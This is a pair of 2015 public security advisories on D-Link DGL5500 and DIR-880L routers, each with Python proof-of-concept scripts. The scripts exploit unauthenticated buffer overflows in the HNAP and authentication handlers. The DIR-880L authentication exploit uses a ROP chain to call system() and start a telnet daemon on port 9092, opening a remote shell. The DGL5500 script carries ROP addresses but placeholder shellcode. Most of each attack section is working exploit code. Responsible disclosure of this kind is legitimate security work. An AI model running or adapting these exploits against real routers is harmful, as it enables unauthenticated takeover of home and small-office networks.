## Advisory Information

Title: DGL5500 Un-Authenticated Buffer overflow in HNAP functionality 
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.

## Product Description

DGL5500 -- Gaming Router AC1300 with StreamBoost. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 1 security issue in DGL5500 firmware which allows an attacker on wireless LAN  to exploit buffer overflow vulnerabilitiy in hnap functionality. Does not require any authentication and can be exploited on WAN if the management interface is exposed.

## Details

# HNAP buffer oberflow
-------------------------------------------------------------------
import socket
import struct
import string
import sys

BUFFER_SIZE = 2048

# Although you can access this URL unauthenticated on WAN connection which is great but need a good shellcode. buffer overflow in check_hnap_auth

buf = "POST /hnap.cgi HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nContent-Length: 13\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings\r\nHNAP_AUTH: test\r\nCookie: unsupportedbrowser=1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
buf+="FFFF"
buf+="AAAA" #s0
buf+="\x2A\xBF\xB9\xF4" #s1 ROP 2
buf+="\x2A\xC1\x3C\x30" #s2 sleep address
buf+="DDDD" #s3
buf+="\x2A\xC0\xEB\x50" #s4 ROP 4 2AC0EB50
buf+="\x2a\xc0\xf3\xe8" # Retn address 2AC0F3E8 ROP1  
buf+="XXXXFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGG" # 36 bytes of gap
buf+="\x2A\xBC\xDB\xD0" #  ROP 3
buf+="GGGGGGGGGGGGGGGG"
buf+="AAAAAAAAAAAAAAAAAAAAA" # Needs a proper shell code Bad chars 1,0 in the first bit of hex byte so 1x or 0x
buf+="GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ\r\n\r\n"+"test=test\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
s.send(buf)
data = s.recv(BUFFER_SIZE)
s.close()
print "received data:", data

-------------------------------------------------------------------

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley

## Advisory Information

Title: DIR-880L Buffer overflows in authenticatio and HNAP functionalities. 
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. 

## Product Description

DIR-880L -- Wireless AC1900 Dual-Band Gigabit Cloud Router. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 2 security issues in DIR-880 firmware which allows an attacker to exploit buffer overflows in authentication and  HNAP  functionalities. first 2 of the buffer overflows in auth and HNAP  can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. Also this exploit needs to be run atleast 200-500 times to bypass ASLR on ARM based devices. But it works as the buffer overflow happens in a seperate process than web server which does not allow web server to crash and hence attacker wins.

## Details

Buffer overflow in HNAP 
-----------------------------------------------------------------
import socket
import struct

#Currently the address of exit function in libraray used as $PC


buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + "\x10\xd0\xff\x76"+"B"*220
buf+= "\r\n" + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)

-------------------------------------------------------------------

Buffer overflow in auth
-------------------------------------------------------------------
import socket
import struct


buf = "GET /webfa_authentication.cgi?id="
buf+="A"*408
buf+="\x44\x77\xf9\x76" # Retn pointer (ROP1) which loads r0-r6 and pc with values from stack
buf+="sh;#"+"CCCC"+"DDDD" #R0-R2
buf+="\x70\x82\xFD\x76"+"FFFF"+"GGGG"      #R3 with system address and R4 and R5 with junk values
buf+="HHHH"+"\xF8\xD0\xF9\x76" # R6 with crap and PC address loaded with ROP 2 address
buf+="telnetd%20-p%209092;#" #actual payload which starts telnetd
buf+="C"+"D"*25+"E"*25 + "A"*80 # 131 bytes of extra payload left
buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\n\r\n"

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)

----------------------------------------------------------------


## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley